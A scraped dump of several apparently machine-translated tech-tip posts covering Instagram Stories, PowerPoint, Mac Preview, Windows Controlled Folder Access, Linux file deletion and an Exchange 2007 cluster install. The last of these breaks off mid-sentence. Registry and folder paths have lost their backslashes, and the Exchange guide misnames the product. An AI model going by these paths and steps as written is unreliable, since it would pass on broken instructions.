Now, however, Instagram has allowed users to add multiple photos and videos to the story at the same time. Follow these steps:\nStep 1. Access to Story mode, tap the Gallery icon (photo gallery).\n  Step 2 . Then click on the small multi-layer icon in the upper right corner. You will see a small circle appear at the top right of each file in the image view to be able to select multiple photos or videos to upload.\n   Step 3 . Touch each photo on the carousel at the bottom to edit them. Finally, click the Next button and share them on your story.\n  5. Post the story longer than 15 seconds If you post a lot of stories, you might be annoyed because Instagram doesn't allow posts longer than 15 seconds. However, you can remove that limitation by using the tips below.\nBasically, what you need to do is cut the video into small videos. Fortunately, you don't have to do this manually because there are many third-party applications that help you do the same thing on Android using Story Cutter for Instagram and on iPhone using CutStory. You can then post Stories longer than 15 seconds from Android or iPhone.\n7 best video editing apps for iPhone 10 easy video editing applications on Android 6. Create a colored background for the story If you want to create a color background for Instagram stories, you can do this without downloading samples from the Internet. Instagram provides a simple way to create a color background but it is hidden in options, you need to know how to pull it out. Follow the steps below:\nStep 1 . Access Story mode, take a new photo or download photos from the gallery.\nStep 2 . Touch the pen icon at the top.\n  Step 3 : You will see the colors below, select a favorite color, then keep anywhere on the image until the color fills the image.\n   7. Add interactive sticker    Instagram offers a variety of interactive stickers such as polls, emoji sliders and recently introduced additional question and answer features called Question Sticker. You can use these stickers to get feedback from your followers. Touch the sticker icon and select a sticker to add it.\n8. Blur the background You must have used Instagram's built-in feature to add a post to Story. However, if you want to increase the look and feel of your post without cutting out the cumbersome details, try the following method. With this method, your post will stand out in the background as if it was taken in portrait mode.\n   To do so, access and profile have the post you want to share. On the feed, press and hold the photo, take a screenshot while you keep it, then upload the screenshot to your story.\n9. Change the pen size    Instagram provides users with 4 types of pens that can be painted on photos. Like other applications, you can change the size of these pens according to their needs. To change the pen size, touch the pen icon in Story mode, then drag the left slider up or down to increase or decrease the size.\n10. Use full color gamut When using pen or writing, many people think that Instagram only provides basic colors, but not so. It has a full range of colors so you can choose exactly the nuances you need to use just know how to find it. To see the full color, just press and hold a color below.\n   If you want to use a color from the image, tap the color picker and choose the color to use.\n  11. Delete the date from the old photo    When adding old photos to the story, Instagram will automatically display the date of taking the photo as a sticker. If you don't like this, you can completely delete them by holding the sticker and dragging it to the trash can icon that appears at the end.\n12. Share the post on the story If you want to share your post or your friends' stories, you don't need to do it manually by taking Android screenshots, now Instagram has the option to help you do this. When sharing a post on a story, you can click on it. This means users can directly access the post from the story.\nHere's how to do it:\nStep 1 . Access the post you want to share on the story, then touch the Send to icon.\n  Step 2 . On the Send to screen, you will see the Add post to Your Story option , touch it to the story editing screen. Here you can add stickers, text or drawings as you like.\n   When you're done, you can turn this option off to prevent others from adding your posts to their stories.\n13. Regram story If someone reminds you in their story, you will be notified via DM. If you want you can share that story on your profile, you're basically doing a regram of the story. To do this, when someone notices you in their story, touch the Add to Your Story option .\n14. Hide someone's story on News feed If you don't want someone's story to appear on your feed without unfollowing, you can use Instagram's new Mute feature. To hide the story, follow these steps:\nWho unfollows you on Instagram? Step 1. Open the Instagram profile you want to hide and touch the three dots icon in the upper right corner.\n  Step 2 . Then click Mute , on the menu appears touching Mute Story . If you want to see their story reappear on your feed, just repeat the steps above and touch the Unmute story .\n   Also, when they publish a story, keep their story icon on the main screen, then select Mute from the pop-up menu.\n  15. Receive notifications when someone posts a story   On the other hand, if you like someone's stories, you can set up to receive notifications every time they post. Do this by visiting their profile and touching the three dots icon in the upper right corner. From this menu, select Turn on story notifications .\nSee more:\nHow to post photos to Instagram from a computer How to download, download Instagram videos How to login to multiple Instagram accounts on your phone ncG1vNJzZmismaXArq3KnmWcp51kfnZ506KnrGWWpL9utc2sq5qfopa6br%2FTqKminaNixrDBjKaYsmWepMFut82ormaxlak%3D\n","link":"/post/15-tips-for-instagram-stories-you-may-not-know-yet/","section":"post","tags":null,"title":"15 tips for Instagram Stories you may not know yet"},{"body":"Do you have to take coding lessons right away if you want to be a developer? Actually, no you don't. You can dabble in coding for as long as you like. You can even try alternative programs like Mario Maker or Dreams, or even dabble with WordPress and its CSS code functions. However, once you have picked the language you wish to learn, it is time to hop on the Internet and start learning how to code. Here is a five step road map for people who wish to be developers.\n  1 - Get Really Good At At Least One Programming Code It sounds obvious, but the point is not to become competent. It is not like learning to drive where a passable grade will get you a job. When it comes to programming, you really want to get good. To learn as much as possible. For many people, programming is a passion, and their passion alone is what pushes them to learn more and get better and better. If you want to compete in any way, you need to get good.\n2 - Set Your Sights on Your Big Project Make sure you set only your sights because your first several hundred attempts are going to fail. However, setting your sights on what you wish to achieve has its benefits. In order to hone your idea and move it forwards, you are going to have to do some work on it.\n3 - Fail Faster and More Efficiently You are going to fail, probably hundreds of its. The sad part is that even your best designed programs will probably amount to nothing within a fairly short space of time. Failing faster is actually a viable method of moving a project forwards. Do what you do, be as perfect as possible, but get to the end point as soon as you can. Once the dust has settled, you will have the objectivity enough to see what a massive failure your project was. You can learn from it and move your project forwards by trying again.\n4 - Get a Job or Start a Smaller Project Getting a job isn't always easy, so keep working on smaller projects. Ideally, look for the sorts of jobs that are being advertised, and work on similar projects. For example, if you are seeing a lot of people asking for intranet software or Smartphone apps for collaborative workers, then dabble in those areas yourself. That way, when the next interview comes along, you can say that you have experience and you will have proof of that experience. If you are going to become an independent developer, then designing programs that you know are in demand is never a bad idea.\n5 - Work as a Freelancer, Private Developer or Go Full Employed There are three paths you can take once you have taken the four steps listed above. You can work as a freelancer, which usually involves bidding on work for very low prices. But, you get paid for working at home and some clients may become regular good-paying clients. Become a private developer if the four steps above lead you to a project or job that actually ends up making you some money. Finally, you can go full employed and work a lot of hours. But, you are an in-demand commodity, so even if you have to work a lot of hours, there are always people out there clambering to hire you and give you work, so you will never go hungry.\nncG1vNJzZmismaXArq3KnmWcp51kgm6%2F056nZqqflrGurc9mnaiqXZeyqLXNp5yrZZSaw6a4zqmcq6s%3D\n","link":"/post/5-step-roadmap-for-beginner-developers/","section":"post","tags":null,"title":"5 Step Roadmap for Beginner Developers"},{"body":"Speaker \u0026nbsp;is an\u0026nbsp; accessory that \u0026nbsp;helps laptop users have a louder, more realistic and vivid sound experience. What if suddenly one day\u0026nbsp; the computer \u0026nbsp;does not recognize the speaker? Let's see the cause and how to fix it now!\nThere are 3 main reasons why the computer does not recognize the speaker is from hardware or software:\nFrom hardware: Components connecting speakers on the computer are damaged (plugs, audio connections, .).\n  From the software: You are turning on something that restricts the sound or a software conflict that causes the sound to fail.\nError from speaker device, damaged speaker jack, damaged speaker diaphragm, .\nRestart the machine - Cause: The code that runs to connect the device fails due to a software conflict or the CPU memory is overloaded, causing difficulties in processing.\n- How to fix: When restarting the computer will help shut down all running applications, making the computer \"lighter\" and let the code run from the beginning, you can easily connect the speaker to the computer.\nHow to do: Select the Windows icon \u0026gt; Select the power icon \u0026gt; Select Restart.\n  Check the cable from the speaker to the laptop - Cause: Broken, open or dented plugs are all causes of unstable current and lead to speaker failure that cannot be connected to the computer.\n- How to fix: Check carefully if there is an error, you should go to a reputable parts store for repair and replacement.\n  Enable Playback Devices - Cause: Playback Devices is an audio format on the computer, if you have not enabled it, all audio devices cannot make sound.\n- How to fix: Follow the instructions to enable Playback Devices to restore the sound to the computer.\nStep 1: Right-click on the computer screen \u0026gt; Select Personalize.\n  Step 2: Select Themes \u0026gt; Select Sounds.\n  Step 3: In the Playback section, see if there is a green check mark.\nIf there is no check mark, it is not activated. Now click on the Speakers icon to activate it.\nIf there is a green check mark is activated.\n  Check the volume of laptop speakers - Cause: If you turn on Mute mode or reduce the volume to the lowest level, it is also the cause of the speaker volume not being output.\n- How to fix: Increase the volume of the speakers on the computer.\nHow to do: Select the speaker icon on the Taskbar \u0026gt; On the sound bar, drag the sound louder.\n  Turn on Use this device mode for external speakers - Cause: Maybe during the installation process, you accidentally turned off the mode for the speakerphone, so you can only hear the sound through\u0026nbsp; the headset .\n- How to fix: Turn on Use this device mode for external speakers according to the steps in the instructions below.\nStep 1: Right-click on the computer screen \u0026gt; Select Personalize.\n  Step 2: Select Themes \u0026gt; Select Sounds.\n  Step 3: Double-click Speakers \u0026gt; Show Speakers Properties window, select General \u0026gt; Under Device usage, select Use this device (enable).\n  Reinstall Audio Driver Driver - Cause: When the driver is too old or incompatible with the computer's current operating system, it can cause problems with sound and audio connections.\n- How to fix: Uninstall and install sound on the computer.\nStep 1: Uninstall the Sound Driver.\nSelect the Search icon \u0026gt; Type 'device manager' \u0026gt; Select Device Manager.\n  Select Sound, video and game controllers \u0026gt; Right-click the speaker icon \u0026gt; Select Uninstall device.\n  Step 2: Reinstall the audio driver.\n+ Restart the computer \u0026gt; Open Device Manager \u0026gt; Select Action \u0026gt; Select Add legacy hardware.\n  Select Next.\n  Select the Search for and install the hardware automatically (Recommended) item icon \u0026gt; Select Next.\n  Select Next.\n  Select Sound, video and game controllers \u0026gt; Select Next.\n  Select Realtek \u0026gt; Select Realtek High Definition Audio \u0026gt; Select Next.\n  Select Next.\n  Select Finish.\n  Install anti-virus software - Cause: When a virus enters the computer, it will inevitably cause some errors that affect the operation of the computer.\n- How to fix: Regular antivirus to detect and remove threats from your computer.\n  Replace Sound Card - Cause: If your computer is bumped or often left in an inappropriate environment, it will affect the computer's components, including the sound card.\n- How to fix: If you have applied the above methods, you still cannot fix the error coming from the computer's hardware. However, this is the computer's hardware, so you need to bring it to a reputable warranty center for repair.\n  I believe that after reading the article, you can reconnect the speakers to your computer to enjoy great music. Thanks for watching, see you in the next post!\ncomputer tricks ncG1vNJzZmismaXArq3KnmWcp51ksLC5z66rnqpdmbymv4ynpq1lopqwsLPNorGeZaOlsqK3xKuqZpuRqsCmv4yapZ1lo6S5tsDIqKWsZaaW\n","link":"/post/computer-does-not-recognize-speakers/","section":"post","tags":null,"title":"Computer does not recognize speakers"},{"body":" The Format Background utility in PowerPoint allows you to select an image from your computer or online to use as the background for your slide. You can set this background to multiple slides at once, or apply it to your entire...\nPart 1of 3:\nAdding a Picture  Open your PowerPoint presentation. You can add graphics to the background of any slide in your PowerPoint presentation. Open the presentation you want to edit in PowerPoint.\n  Click the Design tab at the top of the window. This will display the Design tools.\n  Click the \"Format Background\" button. You'll find this on the far right side of the Design ribbon. The Format Background sidebar will appear on the right side of the screen.[1]\n  Select the slides you want to apply the background to. By default, your background changes will only apply to the active slide. You can hold Ctrl / ⌘ Command and click each slide in the slide list on the left that you want to select. If you want to apply the background to every slide in your presentation, you can do so at the end of this section.   Select \"Picture or texture fill.\" This will allow you to select a picture to use as the background. There are other fill options you can choose from, such as solid colors, gradients, and patterns. Selecting one will display additional options for that type of fill. This guide focuses on adding images and graphics to the background.   Choose the image that you want to insert as the background. To add an image that will not be stretched or squished, it should be 1280 x 720 pixels in size.[2] Click the \"File\" button to select a picture from your computer. A file browser will open, and you can navigate to the image you want to use. Click the \"Online\" button to find pictures from online sources. You can perform a Bing web search, choose images stored in your OneDrive, or grab pictures from your Facebook or Flickr account. Click the \"Texture\" menu to select from a premade texture background. There are a variety of premade textures that you can pick from if you'd rather not insert your own image.   Click \"Apply to All\" to set the picture for all slides. The picture is normally just added as the background for the slides you selected. If you want to apply it to every slide, click the \"Apply to All.\" This will set the background of every slide to the new image, including slides that you create later.\n Part 2of 3:\nApplying Effects  Check the \"Tile picture as texture\" to turn the image into a tiled texture. This works best for images that are small and can flow seamlessly into each other.\n  Adjust the tiling effect with the controls below. You can use these controls to adjust the spacing between the tiled images, whether or not they're mirrored, and the alignment.\n  Use the transparency slider to adjust the image transparency. This is especially useful if you want to add watermarks to your slides. Setting a background image with a high transparency will allow you to use an image as a watermark without obscuring or distracting from the information on the slides.\n  Click the \"Effects\" button at the top of the \"Format Background\" menu to apply effects. This menu allow you to select from a variety of different effects that you can apply to your background image. You'll see a preview of each in the menu, as well as the name if you hold your cursor over it. Click the \"Artistic Effects\" menu and select the effect you want to use. When you select an effect, additional options may appear beneath it. The options vary depending on the effect you chose.   Click \"Apply to All\" to apply the effects to all of your slides. This will change all of the slides in your presentation to use the background image and effects you selected.\n Part 3of 3:\nUsing Slide Master View  Click the View tab in PowerPoint. This will display different view options.\n  Click the \"Slide Master\" button. A list of all of your master slides will appear in the left frame. These are the theme slides for the different types of content in your presentation. The theme and graphics options on your master slides overrules regular background settings.[3]\n  Select the master slide you want to edit. This will open the slide in the main view. You may need to scroll up on the list to view the main master slide. Different slides in the master list are for different slide layouts. Changes made to that master will apply to all slides with the same layout. The slide at the top of the master list will apply yo all slides in the presentation.   Click the \"Background Styles\" button and select \"Format Background.\" This will open the Format Background sidebar.\n  Adjust the background following the steps in the previous methods. Once the Format Background sidebar is open, you can adjust the background graphics using the steps outlined above. Use the \"Picture or texture fill\" option to set a new picture as the master background. This background will apply to every slide in your presentation.[4]\n  Jessica Tanner Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXqjrcKknqunpaOxbrPRmqehoZOoerW7jKmmsJ2ipbyqutM%3D\n","link":"/post/how-to-add-background-graphics-to-powerpoint/","section":"post","tags":null,"title":"How to Add Background Graphics to Powerpoint"},{"body":"Preview can also support fast conversion of file formats, and even perform a series of tweaks on the file.\nIn this article, we will learn how to insert images into a PDF file through the versatile Preview utility on Mac.\nHow to add images to PDF files with Preview By default, you won't be able to cut, copy, or paste text or images into a PDF file, even if the file is in the Preview app. However, there is a unique trick to get around that limitation quickly and easily.\nFirst, in Finder, open the folder containing the images you want to add to your PDF. Right-click on the image, in the menu that appears, select Open With \u0026gt; Preview .\n  When the Preview window opens, press Command + A on your keyboard to select the entire image.\n  Next, press Command + C to copy the image. Now, you need to do something weird, but necessary for this trick to work: Press Command + V to overwrite a copy of this image on top of itself in the Preview window.\n  While both images are essentially the same, no different, the key point is that the copied image you just pasted over the original is now a file-pasteable object. PDF via Preview.\nContinue copying this 'override image' by pressing Command + C . The image will now be saved to your Mac's clipboard. You can close Preview.\nNext, through the Finder, navigate to the PDF file location where you want to paste the image. Again right-click on that PDF file and select Open With \u0026gt; Preview.\n  The PDF file will immediately open in Preview. Now, scroll to the PDF page you want to insert the copied image into, then press Command + V to paste the image.\nOf course, you can also use the pasted image handling options to reposition or resize it in the PDF document.\n  Preview will automatically save your changes, so you won't need to manually save your edited PDF. Simply close the document and your changes are saved. If you need to insert more images into your PDF file, just repeat the process above.\nPreview insert image into pdf file ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXqqucCgnKxlpKR6sbDFZp2ipJWoerC6jKaYnA%3D%3D\n","link":"/post/how-to-add-images-to-pdf-files-on-mac/","section":"post","tags":null,"title":"How to add images to PDF files on Mac"},{"body":"Starting with Windows 10 build 16232, the Controlled access folder feature was introduced in Windows Defender Antivirus.\nWhen Controlled access folder is enabled, this feature will help you protect valuable data from malicious applications and threats, such as ransomware. It is part of Windows Defender Exploit Guard.\nThe access control feature applies to some system folders and default locations, including folders like Documents, Pictures, Movies and Desktop.\nYou can add additional folders to be protected, but you cannot delete the folders in the default list.\nAdding other folders to the Controlled folder access may be useful. For example, if you do not store files in the default Windows library or you have changed the location of libraries from the default values.\nYou can also add network shares and mapped drives.\nThis tutorial will show you how to add and delete protected folders for access control features of the Windows Defender Exploit Guard in Windows 10.\nAdd a protected folder to the access folder Controlled in Windows Defender Security Center The list of applications is allowed to be stored in the registry key below.\nHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows DefenderWindows Defender Exploit GuardControlled Folder AccessProtectedFolders\n1. Open Windows Defender Security Center and click the Virus \u0026amp; threat protection icon.\n  2. Click Manage ransomware protection in the Ransomware protection section.\n  3. Click Protected folders .\n  4. Click Yes when prompted by UAC for approval.\n5. Click Add a protected folder .\n  6. Find and select the folder (for example: \" D: My protected folder \") you want to add to be a protected folder and click Select Folder .\n  7. When you finish adding folders, you can close Windows Defender Security Center if you want.\nRemove the protected folders from Controlled Folder Access in Windows Defender Security Center 1. Open Windows Defender Security Center and click the Virus \u0026amp; threat protection icon.\n  2. Click Manage ransomware protection in the Ransomware protection section .\n  3. Click Protected folders .\n  4. Click Yes when prompted by UAC for approval.\n5. Click the folder (eg \" D: My protected folder \") you want to delete and click Remove .\n  6. Click OK to confirm.\n  7. When you delete the folders, you can close Windows Defender Security Center if you want.\nAdd a protected folder to Controlled Folder Access in PowerShell 1. Open PowerShell.\n2. Enter the command below into PowerShell and press Enter.\n Add-MpPreference -ControlledFolderAccessProtectedFolders \"Full path of folder\"  Replace the Full path of folder in the above command with the actual full path of the directory (for example, \" D: My protected folder \") you want to add as a protected folder .\nFor example:\n Add-MpPreference -ControlledFolderAccessProtectedFolders \"D: My protected folder\"  3. Now you can close PowerShell if you want.\n  Remove the protected folders from Controlled Folder Access in PowerShell 1. Open PowerShell.\n2. Enter the command below into PowerShell and press Enter .\n Remove-MpPreference -ControlledFolderAccessProtectedFolders \"Full path of folder\"  Replace the Full path of folder in the above command with the actual full path of the directory (eg \" D: My protected folder \") you want to delete.\nFor example:\n Remove-MpPreference -ControlledFolderAccessProtectedFolders \"D: My protected folder\"  3. Now you can close PowerShell if you want.\n  Configure the protected folder for Controlling Folder Access in Local Group Policy Editor Protected folders that you add using this option cannot be deleted by in the section ' Remove protected folders from Controlled Folder Access in Windows Defender Security Center ' and ' Remove folders protected from Controlled Folder Access in PowerShell 'mentioned above.\nLocal Group Policy Editor is only available in Windows 10 Pro, Enterprise and Education versions.\nAll versions can apply the ' Configuring protected folders for Controlled Folder Access in the Registry Editor ' section below.\n1. Open Local Group Policy Editor .\n2. In the left pane of Local Group Policy Editor, navigate to the location below.\nComputer Configuration Administrative TemplatesWindows Components The Windows Defender AntivirusWindows Defender Exploit GuardControlled Folder Access\n  3. In the right pane of Controlled Folder Access in the Local Group Policy Editor, double-click Configure protected folders policy to edit it (see screenshot above).\n4. Follow step 5 (default) or step 6 (configuration) below for what you want to do.\n5. To not configure the protected folder for Controlled Folder Access\nA) Select Not Configured or Disabled , click OK and move to step 7 below (see the left part of the screenshot below)\nNot Configured is the default setting.\n6. To configure the protected folder for Controlled Folder Access:\nA) Select Enabled and click the Show button in Options (see the left part of the screenshot below).\nB) In the Value name column, enter the full path of the directory (for example, \" D: My protected folder \") you want to add as a protected folder (see the right part of the screenshot below)\nYou will need to double-click the field to be able to enter the full path.\nC) In the Value column to the right of the app added, enter 0 (see right side of screenshot below).\nYou will need to double-click the field to be able to enter the number.\nD) If you want to delete an added folder, double-click the Value name and Value field for the application you want to delete and delete until these fields are empty (see the right part of the screenshot below).\nE) When finished adding and deleting the folder, click OK (see right side of screenshot below).\nF) Click OK and go to step 7 below (see the left part of the screenshot below).\n    7. When done, close Local Group Policy Editor.\nConfigure the protected directory for Controlled Folder Access in the Registry Editor Protected folders that you add using this option cannot be deleted by in the section ' Remove protected folders from Controlled Folder Access in Windows Defender Security Center ' and ' Remove folders protected from Controlled Folder Access in PowerShell 'mentioned above.\nThis option is the same as in the ' Configuring protected folders for Controlled Folder Access section in Local Group Policy Editor '.\n1. Follow step 2 (default) , step 3 (add application) or step 4 (delete the application) below, depending on what you want to do.\n2. To not configure the protected directory for Controlled Folder Access\nThis is the default setting. It will delete all added apps in this way.\nA) Click the file below to download.\nUndo_Configure_protected_folders_group_policy.reg\nB) Save the above .reg file to your desktop.\nC) Double-click the downloaded .reg file to merge.\nD) When prompted, click Run, Yes (UAC), Yes and OK to agree to the merge.\n3. Configure protected folders to add protected folders\nA) Click the file below to download.\nThis downloadable .reg file will add registry keys that you can easily install in this step.\nConfigure_protected_folders_group_policy.reg\nB) Save the .reg file to your desktop.\nC) Double-click the downloaded .reg file to merge.\nD) When prompted, click Run, Yes (UAC), Yes and OK to agree to the merge.\nE) Press the Win + R keys to open Run, type regedit in Run and click OK to open the Registry Editor.\nF) Navigate to the bottom key in the left pane of Registry Editor.\nHKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindows DefenderWindows Defender Exploit GuardControlled Folder AccessProtectedFolders\n  G) In the right pane of the ProtectedFolders key, right-click a blank space, click New , then click String Value (see screenshot above)\nH) Type the full path of the directory (eg \" D: My protected folder \") you want to add this String Value name and press Enter .\n  I) Double-click this String Value (for example: \" D: My protected folder \") to modify it (see screenshot above)\nJ) Enter the number 0 and click OK .\n  K) Repeat steps from 3G to 3J if you want to add other folders as protected folders.\nL) When you finish adding the folders, you can close the Registry Editor if you want.\n4. Configure protected folders to remove protected folders\nA) Press the Win + R keys to open Run , type regedit in Run and click OK to open the Registry Editor.\nB) Navigate to the bottom key in the left pane of Registry Editor.\nHKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindows DefenderWindows Defender Exploit GuardControlled Folder AccessProtectedFolders\n  C) In the right pane of the ProtectedFolders key, right-click the string value (REG_SZ) of the directory (for example, \" D: My protected folder \") you want to delete and click Delete (see screenshot above) .\nD) Click Yes to confirm.\n  E) When you delete the folders, you can close the Registry Editor if you want.\nSee more:\nProtect files and folders in Windows with a password 5 default Windows files and folders should not be touched No need to install any software, this is how to protect your folders safely ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXqwvoyrnKanppp6onnPq6atnZOpsqV5xaijnZ2iYravecKopa2qn6G5prCMn6alnJWneqKvwp6qrGWfo3q4tc2dprCrXWZ9\n","link":"/post/how-to-add-or-remove-a-protected-folder-in-controlled-folder-access-on-windows-10/","section":"post","tags":null,"title":"How to add or remove a protected folder in Controlled Folder Access on Windows 10"},{"body":"  Open a terminal window. If a file that you own is set to read-only, you cannot delete the file unless you manually set it to write permission. If you use a window manager, press Ctrl + Alt + T to open a terminal window now.\nUse this method if you want to delete a file that you own but do not have permission to delete (for example, if you are the owner or in a group with permission to read the file).\nIf you are logged in remotely and are viewing the command console, proceed to the next step.\n  Use cd to enter the directory with the file to be deleted. For example, if the file you want to delete is stored in the documents folder of the 'home' folder, type cd documents or cd /home/username/documents.\n  Use ls -al to see the permissions of the files in the directory. Using ls -l shows you a list of files in the directory, along with the owners of each file and their permissions. Adding a to ls -l also shows you hidden files and folders.\n  View the permissions of the file you want to delete. Permissions appear before the filename, such as: r--r--r--. The owner's name is shown at the back, followed by the group name.\nr is read, w is write, and x is execute.\nThe first three characters in the access permission (for example r--) are the access permission of the file owner. So, in this example, the file owner has read permission, but not write, execute, or delete permission to the file.\nThe next three characters are group access. If you are a member of a group and that group has write permission to the file, you can delete the file even if you are not the owner.\nThe last three characters are universal access, which is meant for everyone.\n  Use chmod -v u+rw filename to give you read and write permissions. You can omit r if you already have read permission. Once you have write permission, you can delete the file.\nIf you are not the owner of the file but have root access to the system, you can use sudo chmod -v u+rw the filename to give you the proper permissions.\nTo see the file's new permissions, use the ls -al command again.\n  Use rm filename to delete the file. You now have write permissions and can delete files.\nIf you can't delete the file after gaining write access, perhaps the partition is read-only. Learn how to fix the read-only filesystem to fix the problem.\nUsing sudo   Open a terminal window. You can use the sudo command to delete read-only files that you cannot delete with your user account. If you want to use the window management tool, press Ctrl + Alt + T to open a terminal window right away.\nUse this method if you are not the owner of the file to be deleted and you want to delete the file instead of changing the permissions.\nIf you are logged in remotely and are viewing the command console, proceed to the next step.\n  Use cd to enter the directory of the file you want to delete. For example, if the file you want to delete is stored in the documents folder of the 'home' folder, you would use the command cd documents or cd /home/username/documents.\n  Use ls -al to view the contents of the directory. This command will display all files in the current directory, along with the owner name and permissions of each file.\n  Use sudo rm filename to delete the file. You will be asked for a password to use the highest level of access. Once the password is accepted, the read-only file will be deleted.\nIf you can't delete the file with sudo, the partition is probably read-only. Learn how to fix the read-only filesystem to fix the problem.\nFix read-only file system   Open a terminal window. There are several reasons why you might get the error rm: cannot remove '(filename)' : Read only file system when you want to delete a file. Start by pressing Ctrl + Alt + T to open a terminal window if you use a window management tool.\nIf you are logging in remotely, go to the next step.\n  Use df -h to see all mounted devices. You need to know the exact mount point of the drive that is causing you problems. This shows you the entire mounted drive.\n  Use the mount command. Replace the mount point with the actual mount point, such as /media/usbdisk. If you want to delete files on a USB or network drive, such as old backup data, the drive where the file is stored will be mounted with read-only access.\nIf you see ro in the results, the file system is read-only. Mounting the drive should fix the problem. To do this, you would use the command mount -o remount,rw the mount point. You can delete the file immediately afterwards.\nIf the access is rw, the drive is mounted with read-write access, and you can delete files without problems. This usually means that there is a problem with the file system on the drive. Let's continue with the remaining steps.\nIf you see remount-ro, the filesystem is in trouble and the drive is mounted with read-only access to limit damage. It also means that there is a problem with the file system on the drive. Let's continue with the remaining steps.\n  If access is set correctly, unmount the drive. To do this, you would use the command sudo umount device . Replace device with the device name, such as /dev/sdd1.\nSince you cannot unmount the root filesystem, you cannot check the root partition's filesystem unless you are booted into recovery mode. If the error occurs on the root filesystem, boot into recovery mode first.\n  Use the command sudo fsck -n device to check the drive. This is an operation that checks the integrity of the drive without making any further changes. If the drive is working properly, you should see \"clean\" in the results. If the drive has an error, the information will also be displayed here.\nIf you see errors, back up the drive before continuing in case the filesystem cannot be repaired.\n  Use the command sudo fsck device to fix the error. If there are errors, you will be asked to correct them.\nEven if you can fix the error, back up your data in case the drive fails.\n  Mount the drive after fixing the error. If you can fix the error, mounting the drive will assist you in deleting the file. Use mount -o remount,rw mount point to make sure the drive is mounted with read and write access. You can edit and delete files on the drive immediately afterwards.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYyrnJqcn6O5unnFoqOeq12ku264yKessQ%3D%3D\n","link":"/post/how-to-delete-read-only-files-on-linux/","section":"post","tags":null,"title":"How to Delete Read-Only Files on Linux"},{"body":" A playlist allows you to group your favorite songs together. iTunes allows you to add or remove songs based off of your personal selection with two types of playlists, a standard playlist and a smart playlist. iTunes gives you management...\nMethod 3of 3:\nManaging Smart Playlists in iTunes  Create a smart playlist. To create a smart playlist, click on the '+' icon at the bottom left corner of the screen and click on 'New Smart Playlist.' To duplicate a playlist, right-click on the playlist to bring up a menu then click on 'Duplicate.' To delete a playlist, right-click on the playlist then click on 'Delete.'   Adjust filters in the smart playlist. Click on the smart playlist from the left hand side of the screen to show the contents of the list in the main window pane. Click on Edit Playlist shown in the top right area of the pane to bring up a new window. You can adjust the behavior of the smart playlist and how it adds songs from your library. Once you are finished, click on the OK button to keep your changes.\n  Create a rule set. You can add or remove rules by clicking on the + and - buttons. You can add a rule for a rule by clicking on the ... button. Rules can be adjusted individually or through a hierarchy of rules. Each line represents one rule. Click on the left drop down to choose a rule, such as sort by album, artist, song, rating, loved and other options. If you don't want to use any rules, you can unmark the checkbox located at the top left of the window. If you want to broaden your search, you can adjust the drop down box for 'Match the ___ rule' from 'All' to 'Any.' Each sub rule can be given a similar behavior.   Impose limits to the smart playlist. The playlist can generate songs by limiting how many songs appear, how long the playlist can play for or how large in file size a playlist can contain by choosing a resulting option from the drop down. A check next to 'Match only checked items' will only include songs that have a check mark next to them. Leaving 'Live updating' checked to have the list update based on how you adjust your playlist or music library. For example a playlist may remove songs based on songs without a favorite or with a lower rating. Leave 'Live updating' unchecked to have your playlist add songs once.   Delete a song from the playlist. If you want the playlist to avoid a particular song altogether, you can delete the song from the list by right-click on an individual song and click on 'Delete'. To delete several songs from a list, left-click and drag over a group, left-click and hold ⇧ Shift to select a group of songs or left-click and hold Ctrl to select individual songs. Then right-click on a highlighted song then click on 'Delete' to delete the selected songs.   Convert a smart playlist into a playlist. If you are satisfied with a particular set of songs, you can choose to turn it into a regular playlist. At the top of the main window pane, click on the '...' icon, then click on 'Add to Playlist' then either choose a pre-existing playlist or click on 'New Playlist' to create a new playlist.\n  Samuel Daniel Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRo66osYyapWahpKq7pr%2BMqaOasZyewLU%3D\n","link":"/post/how-to-manage-an-itunes-playlist/","section":"post","tags":null,"title":"How to Manage an iTunes Playlist"},{"body":"  Installing, configuring and testing Exchange 2007 CCR on Mailbox Server (Part 1) \n  Installing, configuring, and testing Exchange 2007 CCR on Mailbox Server (Part 2) \n\nHenrik Walther\nIn the second part of this series, we installed the necessary components, enabled and configured the File Share Witness for Majority Node Set (MNS) Quorum as well as the transport dumpster on the Hub Transport Server. In this section we will install Windows Server 2007 for both nodes in the Windows 2003 cluster. The article will then finish by verifying that the CCR function has worked as expected. Install Active Clustered Mailbox Role on E2K7Node1 Now it is time to install Windows Server 2007 Beta 2 on both nodes, we will start with the button E2K7Node1 . First, if you have not done so already, we recommend that you copy Exchange Server 2007 Beta 2 to a local drive on each node. When you're done, double-click Setup.com .\n  Figure 36: Launch Exchange Setup\nThe Exchange Server 2007 Installation Wizard will appear and you can see Step 1: Install .NET Framework 2.0 and Step 2: Install Microsoft Management Console (MMC) has been completed. Note : If you have Windows Server 2003 Service Pack 1 installed on each node, you need to download Microsoft Management Console (MMC) 3.0 and install it manually (follow the link in step 2). However, since we are using Windows 2003 R2 Servers in the test environment, this MMC 3.0 has been installed by default.\n  Figure 37: Installation menu of Exchange Server 2007\nAs you can see in the picture, we still need to complete step 3 ( Step 3: Install Microsoft Command Shell (MSH) ) before starting Exchange installation. So, click download MSH, then open the archive and install it.\n  Figure 38: Installing Microsoft Command Shell (MSH)\nThe Exchange Server 2007 Installation Wizard needs to be refreshed automatically, so click Install Microsoft Exchange . Click Next then accept the License Agreement and click Next again. You have to decide whether you want to enable Error Reporting (the good idea is to enable this feature) and then click Next .\n  Figure 39: Activate error report (Error Reporting)\nNow select Custom Exchange Server Installation then click Next .\n  Figure 40: Select the Exchange Server option settings\nCheck Active Clustered Mailbox Role and click Next .\n  Figure 41: Select to install Active Clustered Mailbox Role\nNow select Cluster Continuous Replication and then specify the name for the mailbox server (the name you want to set when Outlook clients connect) and a unique IP address in the public network. Finally, specify the path for the clustered mailbox server database files or use the default, then click Next .\n  Figure 42: Select to install Cluster Continuous Replication cluster, Specify the name and IP address for the mailbox server.\nCheck the whole checkout, if there is no problem here you can click Next to begin the installation process.\n  Figure 43: Examine the entire Exchange Server 2007 Clustered 